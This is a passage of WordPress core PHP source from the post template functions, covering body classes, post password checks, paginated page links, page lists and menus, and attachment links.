			$classes[] = 'post-type-archive-' . sanitize_html_class( $post_type );
		} elseif ( is_author() ) {
			$author    = $wp_query->get_queried_object();
			$classes[] = 'author';
			if ( isset( $author->user_nicename ) ) {
				$classes[] = 'author-' . sanitize_html_class( $author->user_nicename, $author->ID );
				$classes[] = 'author-' . $author->ID;
			}
		} elseif ( is_category() ) {
			$cat       = $wp_query->get_queried_object();
			$classes[] = 'category';
			if ( isset( $cat->term_id ) ) {
				$cat_class = sanitize_html_class( $cat->slug, $cat->term_id );
				if ( is_numeric( $cat_class ) || ! trim( $cat_class, '-' ) ) {
					$cat_class = $cat->term_id;
				}

				$classes[] = 'category-' . $cat_class;
				$classes[] = 'category-' . $cat->term_id;
			}
		} elseif ( is_tag() ) {
			$tag       = $wp_query->get_queried_object();
			$classes[] = 'tag';
			if ( isset( $tag->term_id ) ) {
				$tag_class = sanitize_html_class( $tag->slug, $tag->term_id );
				if ( is_numeric( $tag_class ) || ! trim( $tag_class, '-' ) ) {
					$tag_class = $tag->term_id;
				}

				$classes[] = 'tag-' . $tag_class;
				$classes[] = 'tag-' . $tag->term_id;
			}
		} elseif ( is_tax() ) {
			$term = $wp_query->get_queried_object();
			if ( isset( $term->term_id ) ) {
				$term_class = sanitize_html_class( $term->slug, $term->term_id );
				if ( is_numeric( $term_class ) || ! trim( $term_class, '-' ) ) {
					$term_class = $term->term_id;
				}

				$classes[] = 'tax-' . sanitize_html_class( $term->taxonomy );
				$classes[] = 'term-' . $term_class;
				$classes[] = 'term-' . $term->term_id;
			}
		}
	}

	if ( is_user_logged_in() ) {
		$classes[] = 'logged-in';
	}

	if ( is_admin_bar_showing() ) {
		$classes[] = 'admin-bar';
		$classes[] = 'no-customize-support';
	}

	if ( current_theme_supports( 'custom-background' )
		&& ( get_background_color() !== get_theme_support( 'custom-background', 'default-color' ) || get_background_image() ) ) {
		$classes[] = 'custom-background';
	}

	if ( has_custom_logo() ) {
		$classes[] = 'wp-custom-logo';
	}

	if ( current_theme_supports( 'responsive-embeds' ) ) {
		$classes[] = 'wp-embed-responsive';
	}

	$page = $wp_query->get( 'page' );

	if ( ! $page || $page < 2 ) {
		$page = $wp_query->get( 'paged' );
	}

	if ( $page && $page > 1 && ! is_404() ) {
		$classes[] = 'paged-' . $page;

		if ( is_single() ) {
			$classes[] = 'single-paged-' . $page;
		} elseif ( is_page() ) {
			$classes[] = 'page-paged-' . $page;
		} elseif ( is_category() ) {
			$classes[] = 'category-paged-' . $page;
		} elseif ( is_tag() ) {
			$classes[] = 'tag-paged-' . $page;
		} elseif ( is_date() ) {
			$classes[] = 'date-paged-' . $page;
		} elseif ( is_author() ) {
			$classes[] = 'author-paged-' . $page;
		} elseif ( is_search() ) {
			$classes[] = 'search-paged-' . $page;
		} elseif ( is_post_type_archive() ) {
			$classes[] = 'post-type-paged-' . $page;
		}
	}

	if ( ! empty( $css_class ) ) {
		if ( ! is_array( $css_class ) ) {
			$css_class = preg_split( '#\s+#', $css_class );
		}
		$classes = array_merge( $classes, $css_class );
	} else {
		// Ensure that we always coerce class to being an array.
		$css_class = array();
	}

	$classes = array_map( 'esc_attr', $classes );

	/**
	 * Filters the list of CSS body class names for the current post or page.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $classes   An array of body class names.
	 * @param string[] $css_class An array of additional class names added to the body.
	 */
	$classes = apply_filters( 'body_class', $classes, $css_class );

	return array_unique( $classes );
}

/**
 * Determines whether the post requires password and whether a correct password has been provided.
 *
 * @since 2.7.0
 *
 * @param int|WP_Post|null $post An optional post. Global $post used if not provided.
 * @return bool false if a password is not required or the correct password cookie is present, true otherwise.
 */
function post_password_required( $post = null ) {
	$post = get_post( $post );

	if ( empty( $post->post_password ) ) {
		/** This filter is documented in wp-includes/post-template.php */
		return apply_filters( 'post_password_required', false, $post );
	}

	if ( ! isset( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ) ) {
		/** This filter is documented in wp-includes/post-template.php */
		return apply_filters( 'post_password_required', true, $post );
	}

	require_once ABSPATH . WPINC . '/class-phpass.php';
	$hasher = new PasswordHash( 8, true );

	$hash = wp_unslash( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
	if ( ! str_starts_with( $hash, '$P$B' ) ) {
		$required = true;
	} else {
		$required = ! $hasher->CheckPassword( $post->post_password, $hash );
	}

	/**
	 * Filters whether a post requires the user to supply a password.
	 *
	 * @since 4.7.0
	 *
	 * @param bool    $required Whether the user needs to supply a password. True if password has not been
	 *                          provided or is incorrect, false if password has been supplied or is not required.
	 * @param WP_Post $post     Post object.
	 */
	return apply_filters( 'post_password_required', $required, $post );
}

//
// Page Template Functions for usage in Themes.
//

/**
 * The formatted output of a list of pages.
 *
 * Displays page links for paginated posts (i.e. including the `<!--nextpage-->`
 * Quicktag one or more times). This tag must be within The Loop.
 *
 * @since 1.2.0
 * @since 5.1.0 Added the `aria_current` argument.
 *
 * @global int $page
 * @global int $numpages
 * @global int $multipage
 * @global int $more
 *
 * @param string|array $args {
 *     Optional. Array or string of default arguments.
 *
 *     @type string       $before           HTML or text to prepend to each link. Default is `<p> Pages:`.
 *     @type string       $after            HTML or text to append to each link. Default is `</p>`.
 *     @type string       $link_before      HTML or text to prepend to each link, inside the `<a>` tag.
 *                                          Also prepended to the current item, which is not linked. Default empty.
 *     @type string       $link_after       HTML or text to append to each Pages link inside the `<a>` tag.
 *                                          Also appended to the current item, which is not linked. Default empty.
 *     @type string       $aria_current     The value for the aria-current attribute. Possible values are 'page',
 *                                          'step', 'location', 'date', 'time', 'true', 'false'. Default is 'page'.
 *     @type string       $next_or_number   Indicates whether page numbers should be used. Valid values are number
 *                                          and next. Default is 'number'.
 *     @type string       $separator        Text between pagination links. Default is ' '.
 *     @type string       $nextpagelink     Link text for the next page link, if available. Default is 'Next Page'.
 *     @type string       $previouspagelink Link text for the previous page link, if available. Default is 'Previous Page'.
 *     @type string       $pagelink         Format string for page numbers. The % in the parameter string will be
 *                                          replaced with the page number, so 'Page %' generates "Page 1", "Page 2", etc.
 *                                          Defaults to '%', just the page number.
 *     @type int|bool     $echo             Whether to echo or not. Accepts 1|true or 0|false. Default 1|true.
 * }
 * @return string Formatted output in HTML.
 */
function wp_link_pages( $args = '' ) {
	global $page, $numpages, $multipage, $more;

	$defaults = array(
		'before'           => '<p class="post-nav-links">' . __( 'Pages:' ),
		'after'            => '</p>',
		'link_before'      => '',
		'link_after'       => '',
		'aria_current'     => 'page',
		'next_or_number'   => 'number',
		'separator'        => ' ',
		'nextpagelink'     => __( 'Next page' ),
		'previouspagelink' => __( 'Previous page' ),
		'pagelink'         => '%',
		'echo'             => 1,
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	/**
	 * Filters the arguments used in retrieving page links for paginated posts.
	 *
	 * @since 3.0.0
	 *
	 * @param array $parsed_args An array of page link arguments. See wp_link_pages()
	 *                           for information on accepted arguments.
	 */
	$parsed_args = apply_filters( 'wp_link_pages_args', $parsed_args );

	$output = '';
	if ( $multipage ) {
		if ( 'number' === $parsed_args['next_or_number'] ) {
			$output .= $parsed_args['before'];
			for ( $i = 1; $i <= $numpages; $i++ ) {
				$link = $parsed_args['link_before'] . str_replace( '%', $i, $parsed_args['pagelink'] ) . $parsed_args['link_after'];
				if ( $i != $page || ! $more && 1 == $page ) {
					$link = _wp_link_page( $i ) . $link . '</a>';
				} elseif ( $i === $page ) {
					$link = '<span class="post-page-numbers current" aria-current="' . esc_attr( $parsed_args['aria_current'] ) . '">' . $link . '</span>';
				}
				/**
				 * Filters the HTML output of individual page number links.
				 *
				 * @since 3.6.0
				 *
				 * @param string $link The page number HTML output.
				 * @param int    $i    Page number for paginated posts' page links.
				 */
				$link = apply_filters( 'wp_link_pages_link', $link, $i );

				// Use the custom links separator beginning with the second link.
				$output .= ( 1 === $i ) ? ' ' : $parsed_args['separator'];
				$output .= $link;
			}
			$output .= $parsed_args['after'];
		} elseif ( $more ) {
			$output .= $parsed_args['before'];
			$prev    = $page - 1;
			if ( $prev > 0 ) {
				$link = _wp_link_page( $prev ) . $parsed_args['link_before'] . $parsed_args['previouspagelink'] . $parsed_args['link_after'] . '</a>';

				/** This filter is documented in wp-includes/post-template.php */
				$output .= apply_filters( 'wp_link_pages_link', $link, $prev );
			}
			$next = $page + 1;
			if ( $next <= $numpages ) {
				if ( $prev ) {
					$output .= $parsed_args['separator'];
				}
				$link = _wp_link_page( $next ) . $parsed_args['link_before'] . $parsed_args['nextpagelink'] . $parsed_args['link_after'] . '</a>';

				/** This filter is documented in wp-includes/post-template.php */
				$output .= apply_filters( 'wp_link_pages_link', $link, $next );
			}
			$output .= $parsed_args['after'];
		}
	}

	/**
	 * Filters the HTML output of page links for paginated posts.
	 *
	 * @since 3.6.0
	 *
	 * @param string       $output HTML output of paginated posts' page links.
	 * @param array|string $args   An array or query string of arguments. See wp_link_pages()
	 *                             for information on accepted arguments.
	 */
	$html = apply_filters( 'wp_link_pages', $output, $args );

	if ( $parsed_args['echo'] ) {
		echo $html;
	}
	return $html;
}

/**
 * Helper function for wp_link_pages().
 *
 * @since 3.1.0
 * @access private
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int $i Page number.
 * @return string Link.
 */
function _wp_link_page( $i ) {
	global $wp_rewrite;
	$post       = get_post();
	$query_args = array();

	if ( 1 == $i ) {
		$url = get_permalink();
	} else {
		if ( ! get_option( 'permalink_structure' ) || in_array( $post->post_status, array( 'draft', 'pending' ), true ) ) {
			$url = add_query_arg( 'page', $i, get_permalink() );
		} elseif ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID ) {
			$url = trailingslashit( get_permalink() ) . user_trailingslashit( "$wp_rewrite->pagination_base/" . $i, 'single_paged' );
		} else {
			$url = trailingslashit( get_permalink() ) . user_trailingslashit( $i, 'single_paged' );
		}
	}

	if ( is_preview() ) {

		if ( ( 'draft' !== $post->post_status ) && isset( $_GET['preview_id'], $_GET['preview_nonce'] ) ) {
			$query_args['preview_id']    = wp_unslash( $_GET['preview_id'] );
			$query_args['preview_nonce'] = wp_unslash( $_GET['preview_nonce'] );
		}

		$url = get_preview_post_link( $post, $query_args, $url );
	}

	return '<a href="' . esc_url( $url ) . '" class="post-page-numbers">';
}

//
// Post-meta: Custom per-post fields.
//

/**
 * Retrieves post custom meta data field.
 *
 * @since 1.5.0
 *
 * @param string $key Meta data key name.
 * @return array|string|false Array of values, or single value if only one element exists.
 *                            False if the key does not exist.
 */
function post_custom( $key = '' ) {
	$custom = get_post_custom();

	if ( ! isset( $custom[ $key ] ) ) {
		return false;
	} elseif ( 1 === count( $custom[ $key ] ) ) {
		return $custom[ $key ][0];
	} else {
		return $custom[ $key ];
	}
}

/**
 * Displays a list of post custom fields.
 *
 * @since 1.2.0
 *
 * @deprecated 6.0.2 Use get_post_meta() to retrieve post meta and render manually.
 */
function the_meta() {
	_deprecated_function( __FUNCTION__, '6.0.2', 'get_post_meta()' );
	$keys = get_post_custom_keys();
	if ( $keys ) {
		$li_html = '';
		foreach ( (array) $keys as $key ) {
			$keyt = trim( $key );
			if ( is_protected_meta( $keyt, 'post' ) ) {
				continue;
			}

			$values = array_map( 'trim', get_post_custom_values( $key ) );
			$value  = implode( ', ', $values );

			$html = sprintf(
				"<li><span class='post-meta-key'>%s</span> %s</li>\n",
				/* translators: %s: Post custom field name. */
				esc_html( sprintf( _x( '%s:', 'Post custom field name' ), $key ) ),
				esc_html( $value )
			);

			/**
			 * Filters the HTML output of the li element in the post custom fields list.
			 *
			 * @since 2.2.0
			 *
			 * @param string $html  The HTML output for the li element.
			 * @param string $key   Meta key.
			 * @param string $value Meta value.
			 */
			$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );
		}

		if ( $li_html ) {
			echo "<ul class='post-meta'>\n{$li_html}</ul>\n";
		}
	}
}

//
// Pages.
//

/**
 * Retrieves or displays a list of pages as a dropdown (select list).
 *
 * @since 2.1.0
 * @since 4.2.0 The `$value_field` argument was added.
 * @since 4.3.0 The `$class` argument was added.
 *
 * @see get_pages()
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a page dropdown. See get_pages() for additional arguments.
 *
 *     @type int          $depth                 Maximum depth. Default 0.
 *     @type int          $child_of              Page ID to retrieve child pages of. Default 0.
 *     @type int|string   $selected              Value of the option that should be selected. Default 0.
 *     @type bool|int     $echo                  Whether to echo or return the generated markup. Accepts 0, 1,
 *                                               or their bool equivalents. Default 1.
 *     @type string       $name                  Value for the 'name' attribute of the select element.
 *                                               Default 'page_id'.
 *     @type string       $id                    Value for the 'id' attribute of the select element.
 *     @type string       $class                 Value for the 'class' attribute of the select element. Default: none.
 *                                               Defaults to the value of `$name`.
 *     @type string       $show_option_none      Text to display for showing no pages. Default empty (does not display).
 *     @type string       $show_option_no_change Text to display for "no change" option. Default empty (does not display).
 *     @type string       $option_none_value     Value to use when no page is selected. Default empty.
 *     @type string       $value_field           Post field used to populate the 'value' attribute of the option
 *                                               elements. Accepts any valid post field. Default 'ID'.
 * }
 * @return string HTML dropdown list of pages.
 */
function wp_dropdown_pages( $args = '' ) {
	$defaults = array(
		'depth'                 => 0,
		'child_of'              => 0,
		'selected'              => 0,
		'echo'                  => 1,
		'name'                  => 'page_id',
		'id'                    => '',
		'class'                 => '',
		'show_option_none'      => '',
		'show_option_no_change' => '',
		'option_none_value'     => '',
		'value_field'           => 'ID',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$pages  = get_pages( $parsed_args );
	$output = '';
	// Back-compat with old system where both id and name were based on $name argument.
	if ( empty( $parsed_args['id'] ) ) {
		$parsed_args['id'] = $parsed_args['name'];
	}

	if ( ! empty( $pages ) ) {
		$class = '';
		if ( ! empty( $parsed_args['class'] ) ) {
			$class = " class='" . esc_attr( $parsed_args['class'] ) . "'";
		}

		$output = "<select name='" . esc_attr( $parsed_args['name'] ) . "'" . $class . " id='" . esc_attr( $parsed_args['id'] ) . "'>\n";
		if ( $parsed_args['show_option_no_change'] ) {
			$output .= "\t<option value=\"-1\">" . $parsed_args['show_option_no_change'] . "</option>\n";
		}
		if ( $parsed_args['show_option_none'] ) {
			$output .= "\t<option value=\"" . esc_attr( $parsed_args['option_none_value'] ) . '">' . $parsed_args['show_option_none'] . "</option>\n";
		}
		$output .= walk_page_dropdown_tree( $pages, $parsed_args['depth'], $parsed_args );
		$output .= "</select>\n";
	}

	/**
	 * Filters the HTML output of a list of pages as a dropdown.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 `$parsed_args` and `$pages` added as arguments.
	 *
	 * @param string    $output      HTML output for dropdown list of pages.
	 * @param array     $parsed_args The parsed arguments array. See wp_dropdown_pages()
	 *                               for information on accepted arguments.
	 * @param WP_Post[] $pages       Array of the page objects.
	 */
	$html = apply_filters( 'wp_dropdown_pages', $output, $parsed_args, $pages );

	if ( $parsed_args['echo'] ) {
		echo $html;
	}

	return $html;
}

/**
 * Retrieves or displays a list of pages (or hierarchical post type items) in list (li) format.
 *
 * @since 1.5.0
 * @since 4.7.0 Added the `item_spacing` argument.
 *
 * @see get_pages()
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a list of pages. See get_pages() for additional arguments.
 *
 *     @type int          $child_of     Display only the sub-pages of a single page by ID. Default 0 (all pages).
 *     @type string       $authors      Comma-separated list of author IDs. Default empty (all authors).
 *     @type string       $date_format  PHP date format to use for the listed pages. Relies on the 'show_date' parameter.
 *                                      Default is the value of 'date_format' option.
 *     @type int          $depth        Number of levels in the hierarchy of pages to include in the generated list.
 *                                      Accepts -1 (any depth), 0 (all pages), 1 (top-level pages only), and n (pages to
 *                                      the given n depth). Default 0.
 *     @type bool         $echo         Whether or not to echo the list of pages. Default true.
 *     @type string       $exclude      Comma-separated list of page IDs to exclude. Default empty.
 *     @type array        $include      Comma-separated list of page IDs to include. Default empty.
 *     @type string       $link_after   Text or HTML to follow the page link label. Default null.
 *     @type string       $link_before  Text or HTML to precede the page link label. Default null.
 *     @type string       $post_type    Post type to query for. Default 'page'.
 *     @type string|array $post_status  Comma-separated list or array of post statuses to include. Default 'publish'.
 *     @type string       $show_date    Whether to display the page publish or modified date for each page. Accepts
 *                                      'modified' or any other value. An empty value hides the date. Default empty.
 *     @type string       $sort_column  Comma-separated list of column names to sort the pages by. Accepts 'post_author',
 *                                      'post_date', 'post_title', 'post_name', 'post_modified', 'post_modified_gmt',
 *                                      'menu_order', 'post_parent', 'ID', 'rand', or 'comment_count'. Default 'post_title'.
 *     @type string       $title_li     List heading. Passing a null or empty value will result in no heading, and the list
 *                                      will not be wrapped with unordered list `<ul>` tags. Default 'Pages'.
 *     @type string       $item_spacing Whether to preserve whitespace within the menu's HTML. Accepts 'preserve' or 'discard'.
 *                                      Default 'preserve'.
 *     @type Walker       $walker       Walker instance to use for listing pages. Default empty which results in a
 *                                      Walker_Page instance being used.
 * }
 * @return void|string Void if 'echo' argument is true, HTML list of pages if 'echo' is false.
 */
function wp_list_pages( $args = '' ) {
	$defaults = array(
		'depth'        => 0,
		'show_date'    => '',
		'date_format'  => get_option( 'date_format' ),
		'child_of'     => 0,
		'exclude'      => '',
		'title_li'     => __( 'Pages' ),
		'echo'         => 1,
		'authors'      => '',
		'sort_column'  => 'menu_order, post_title',
		'link_before'  => '',
		'link_after'   => '',
		'item_spacing' => 'preserve',
		'walker'       => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	if ( ! in_array( $parsed_args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
		// Invalid value, fall back to default.
		$parsed_args['item_spacing'] = $defaults['item_spacing'];
	}

	$output       = '';
	$current_page = 0;

	// Sanitize, mostly to keep spaces out.
	$parsed_args['exclude'] = preg_replace( '/[^0-9,]/', '', $parsed_args['exclude'] );

	// Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array).
	$exclude_array = ( $parsed_args['exclude'] ) ? explode( ',', $parsed_args['exclude'] ) : array();

	/**
	 * Filters the array of pages to exclude from the pages list.
	 *
	 * @since 2.1.0
	 *
	 * @param string[] $exclude_array An array of page IDs to exclude.
	 */
	$parsed_args['exclude'] = implode( ',', apply_filters( 'wp_list_pages_excludes', $exclude_array ) );

	$parsed_args['hierarchical'] = 0;

	// Query pages.
	$pages = get_pages( $parsed_args );

	if ( ! empty( $pages ) ) {
		if ( $parsed_args['title_li'] ) {
			$output .= '<li class="pagenav">' . $parsed_args['title_li'] . '<ul>';
		}
		global $wp_query;
		if ( is_page() || is_attachment() || $wp_query->is_posts_page ) {
			$current_page = get_queried_object_id();
		} elseif ( is_singular() ) {
			$queried_object = get_queried_object();
			if ( is_post_type_hierarchical( $queried_object->post_type ) ) {
				$current_page = $queried_object->ID;
			}
		}

		$output .= walk_page_tree( $pages, $parsed_args['depth'], $current_page, $parsed_args );

		if ( $parsed_args['title_li'] ) {
			$output .= '</ul></li>';
		}
	}

	/**
	 * Filters the HTML output of the pages to list.
	 *
	 * @since 1.5.1
	 * @since 4.4.0 `$pages` added as arguments.
	 *
	 * @see wp_list_pages()
	 *
	 * @param string    $output      HTML output of the pages list.
	 * @param array     $parsed_args An array of page-listing arguments. See wp_list_pages()
	 *                               for information on accepted arguments.
	 * @param WP_Post[] $pages       Array of the page objects.
	 */
	$html = apply_filters( 'wp_list_pages', $output, $parsed_args, $pages );

	if ( $parsed_args['echo'] ) {
		echo $html;
	} else {
		return $html;
	}
}

/**
 * Displays or retrieves a list of pages with an optional home link.
 *
 * The arguments are listed below and part of the arguments are for wp_list_pages() function.
 * Check that function for more info on those arguments.
 *
 * @since 2.7.0
 * @since 4.4.0 Added `menu_id`, `container`, `before`, `after`, and `walker` arguments.
 * @since 4.7.0 Added the `item_spacing` argument.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a page menu. See wp_list_pages() for additional arguments.
 *
 *     @type string          $sort_column  How to sort the list of pages. Accepts post column names.
 *                                         Default 'menu_order, post_title'.
 *     @type string          $menu_id      ID for the div containing the page list. Default is empty string.
 *     @type string          $menu_class   Class to use for the element containing the page list. Default 'menu'.
 *     @type string          $container    Element to use for the element containing the page list. Default 'div'.
 *     @type bool            $echo         Whether to echo the list or return it. Accepts true (echo) or false (return).
 *                                         Default true.
 *     @type int|bool|string $show_home    Whether to display the link to the home page. Can just enter the text
 *                                         you'd like shown for the home link. 1|true defaults to 'Home'.
 *     @type string          $link_before  The HTML or text to prepend to $show_home text. Default empty.
 *     @type string          $link_after   The HTML or text to append to $show_home text. Default empty.
 *     @type string          $before       The HTML or text to prepend to the menu. Default is '<ul>'.
 *     @type string          $after        The HTML or text to append to the menu. Default is '</ul>'.
 *     @type string          $item_spacing Whether to preserve whitespace within the menu's HTML. Accepts 'preserve'
 *                                         or 'discard'. Default 'discard'.
 *     @type Walker          $walker       Walker instance to use for listing pages. Default empty which results in a
 *                                         Walker_Page instance being used.
 * }
 * @return void|string Void if 'echo' argument is true, HTML menu if 'echo' is false.
 */
function wp_page_menu( $args = array() ) {
	$defaults = array(
		'sort_column'  => 'menu_order, post_title',
		'menu_id'      => '',
		'menu_class'   => 'menu',
		'container'    => 'div',
		'echo'         => true,
		'link_before'  => '',
		'link_after'   => '',
		'before'       => '<ul>',
		'after'        => '</ul>',
		'item_spacing' => 'discard',
		'walker'       => '',
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
		// Invalid value, fall back to default.
		$args['item_spacing'] = $defaults['item_spacing'];
	}

	if ( 'preserve' === $args['item_spacing'] ) {
		$t = "\t";
		$n = "\n";
	} else {
		$t = '';
		$n = '';
	}

	/**
	 * Filters the arguments used to generate a page-based menu.
	 *
	 * @since 2.7.0
	 *
	 * @see wp_page_menu()
	 *
	 * @param array $args An array of page menu arguments. See wp_page_menu()
	 *                    for information on accepted arguments.
	 */
	$args = apply_filters( 'wp_page_menu_args', $args );

	$menu = '';

	$list_args = $args;

	// Show Home in the menu.
	if ( ! empty( $args['show_home'] ) ) {
		if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] ) {
			$text = __( 'Home' );
		} else {
			$text = $args['show_home'];
		}
		$class = '';
		if ( is_front_page() && ! is_paged() ) {
			$class = 'class="current_page_item"';
		}
		$menu .= '<li ' . $class . '><a href="' . esc_url( home_url( '/' ) ) . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
		// If the front page is a page, add it to the exclude list.
		if ( 'page' === get_option( 'show_on_front' ) ) {
			if ( ! empty( $list_args['exclude'] ) ) {
				$list_args['exclude'] .= ',';
			} else {
				$list_args['exclude'] = '';
			}
			$list_args['exclude'] .= get_option( 'page_on_front' );
		}
	}

	$list_args['echo']     = false;
	$list_args['title_li'] = '';
	$menu                 .= wp_list_pages( $list_args );

	$container = sanitize_text_field( $args['container'] );

	// Fallback in case `wp_nav_menu()` was called without a container.
	if ( empty( $container ) ) {
		$container = 'div';
	}

	if ( $menu ) {

		// wp_nav_menu() doesn't set before and after.
		if ( isset( $args['fallback_cb'] ) &&
			'wp_page_menu' === $args['fallback_cb'] &&
			'ul' !== $container ) {
			$args['before'] = "<ul>{$n}";
			$args['after']  = '</ul>';
		}

		$menu = $args['before'] . $menu . $args['after'];
	}

	$attrs = '';
	if ( ! empty( $args['menu_id'] ) ) {
		$attrs .= ' id="' . esc_attr( $args['menu_id'] ) . '"';
	}

	if ( ! empty( $args['menu_class'] ) ) {
		$attrs .= ' class="' . esc_attr( $args['menu_class'] ) . '"';
	}

	$menu = "<{$container}{$attrs}>" . $menu . "</{$container}>{$n}";

	/**
	 * Filters the HTML output of a page-based menu.
	 *
	 * @since 2.7.0
	 *
	 * @see wp_page_menu()
	 *
	 * @param string $menu The HTML output.
	 * @param array  $args An array of arguments. See wp_page_menu()
	 *                     for information on accepted arguments.
	 */
	$menu = apply_filters( 'wp_page_menu', $menu, $args );

	if ( $args['echo'] ) {
		echo $menu;
	} else {
		return $menu;
	}
}

//
// Page helpers.
//

/**
 * Retrieves HTML list content for page list.
 *
 * @uses Walker_Page to create HTML list content.
 * @since 2.1.0
 *
 * @param array $pages
 * @param int   $depth
 * @param int   $current_page
 * @param array $args
 * @return string
 */
function walk_page_tree( $pages, $depth, $current_page, $args ) {
	if ( empty( $args['walker'] ) ) {
		$walker = new Walker_Page();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args['walker'];
	}

	foreach ( (array) $pages as $page ) {
		if ( $page->post_parent ) {
			$args['pages_with_children'][ $page->post_parent ] = true;
		}
	}

	return $walker->walk( $pages, $depth, $args, $current_page );
}

/**
 * Retrieves HTML dropdown (select) content for page list.
 *
 * @since 2.1.0
 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
 *              to the function signature.
 *
 * @uses Walker_PageDropdown to create HTML dropdown content.
 * @see Walker_PageDropdown::walk() for parameters and return description.
 *
 * @param mixed ...$args Elements array, maximum hierarchical depth and optional additional arguments.
 * @return string
 */
function walk_page_dropdown_tree( ...$args ) {
	if ( empty( $args[2]['walker'] ) ) { // The user's options are the third parameter.
		$walker = new Walker_PageDropdown();
	} else {
		/**
		 * @var Walker $walker
		 */
		$walker = $args[2]['walker'];
	}

	return $walker->walk( ...$args );
}

//
// Attachments.
//

/**
 * Displays an attachment page link using an image or icon.
 *
 * @since 2.0.0
 *
 * @param int|WP_Post $post       Optional. Post ID or post object.
 * @param bool        $fullsize   Optional. Whether to use full size. Default false.
 * @param bool        $deprecated Deprecated. Not used.
 * @param bool        $permalink Optional. Whether to include permalink. Default false.
 */
function the_attachment_link( $post = 0, $fullsize = false, $deprecated = false, $permalink = false ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' );
	}

	if ( $fullsize ) {
		echo wp_get_attachment_link( $post, 'full', $permalink );
	} else {
		echo wp_get_attachment_link( $post, 'thumbnail', $permalink );
	}
}

/**
 * Retrieves an attachment page link using an image or icon, if possible.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$post` parameter can now accept either a post ID or `WP_Post` object.
 *
 * @param int|WP_Post  $post      Optional. Post ID or post object.
 * @param string|int[] $size      Optional. Image size. Accepts any registered image size name, or an array
 *                                of width and height values in pixels (in that order). Default 'thumbnail'.
 * @param bool         $permalink Optional. Whether to add permalink to image. Default false.
 * @param bool         $icon      Optional. Whether the attachment is an icon. Default false.
 * @param string|false $text      Optional. Link text to use. Activated by passing a string, false otherwise.
 *                                Default false.
 * @param array|string $attr      Optional. Array or string of attributes. Default empty.
 * @return string HTML content.
 */
function wp_get_attachment_link( $post = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
	$_post = get_post( $post );

	if ( empty( $_post ) || ( 'attachment' !== $_post->post_type ) || ! wp_get_attachment_url( $_post->ID ) ) {
		return __( 'Missing Attachment' );
	}

	$url = wp_get_attachment_url( $_post->ID );

	if ( $permalink ) {
		$url = get_attachment_link( $_post->ID );
	}

	if ( $text ) {
		$link_text = $text;
	} elseif ( $size && 'none' !== $size ) {
		$link_text = wp_get_attachment_image( $_post->ID, $size, $icon, $attr );
	} else {
		$link_text = '';
	}

	if ( '' === trim( $link_text ) ) {
		$link_text = $_post->post_title;
	}

	if ( '' === trim( $link_text ) ) {
		$link_text = esc_html( pathinfo( get_attached_file( $_post->ID ), PATHINFO_FILENAME ) );
	}

	/**
	 * Filters the list of attachment link attributes.
	 *
	 * @since 6.2.0
	 *
	 * @param array $attributes An array of attributes for the link markup,
	 *                          keyed on the attribute name.
	 * @param int   $id         Post ID.
	 */
	$attributes = apply_filters( 'wp_get_attachment_link_attributes', array( 'href' => $url ), $_post->ID );

	$link_attributes = '';
	foreach ( $attributes as $name => $value ) {
		$value            = 'href' === $name ? esc_url( $value ) : esc_attr( $value );
		$link_attributes .= ' ' . esc_attr( $name ) . "='" . $value . "'";
	}

	$link_html = "<a$link_attributes>$link_text</a>";

	/**
	 * Filters a retrieved attachment page link.
	 *
	 * @since 2.7.0
	 * @since 5.1.0 Added the `$attr` parameter.
	 *
	 * @param string       $link_html The page link HTML output.
	 * @param int|WP_Post  $post      Post ID or object. Can be 0 for the current global post.
	 * @param string|int[] $size      Requested image size. Can be any registered image size name, or
	 *                                an array of width and height values in pixels (in that order).
	 * @param bool         $permalink Whether to add permalink to image. Default false.
	 * @param bool         $icon      Whether to include an icon.
	 * @param string|false $text      If string, will be link text.
	 * @param array|string $attr      Array or string of attributes.
	 */
	return apply_filters( 'wp_get_attachment_link', $link_html, $post, $size, $permalink, $icon, $text, $attr );
}

/**
 * Wraps attachment in paragraph tag before content.
 *
 * @since 2.0.0
 *
 * @param string $content
 * @return string
 */
function prepend_attachment( $content ) {
	$post = get_post();

	if ( empty( $post->post_type ) || 'attachment' !== $post->post_type ) {
		return $content;
	}

	if ( wp_attachment_is( 'video', $post ) ) {
		$meta = wp_get_attachment_metadata( get_the_ID() );
		$atts = array( 'src' => wp_get_attachment_url() );
		if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
			$atts['width']  = (int) $meta['width'];
			$atts['height'] = (int) $meta['height'];
		}
		if ( has_post_thumbnail() ) {
			$atts['poster'] = wp_get_attachment_url( get_post_thumbnail_id() );
		}
		$p = wp_video_shortcode( $atts );
	} elseif ( wp_attachment_is( 'audio', $post ) ) {
		$p = wp_audio_shortcode( array( 'src' => wp_get_attachment_url() ) );
	} else {
		$p = '<p class="attachment">';
		// Show the medium sized image representation of the attachment if available, and link to the raw file.
		$p .= wp_get_attachment_link( 0, 'medium', false );
		$p .= '</p>';
	}

	/**
	 * Filters the attachment markup to be prepended to the post content.
	 *
	 * @since 2.0.0
	 *
	 * @see prepend_attachment()
	 *
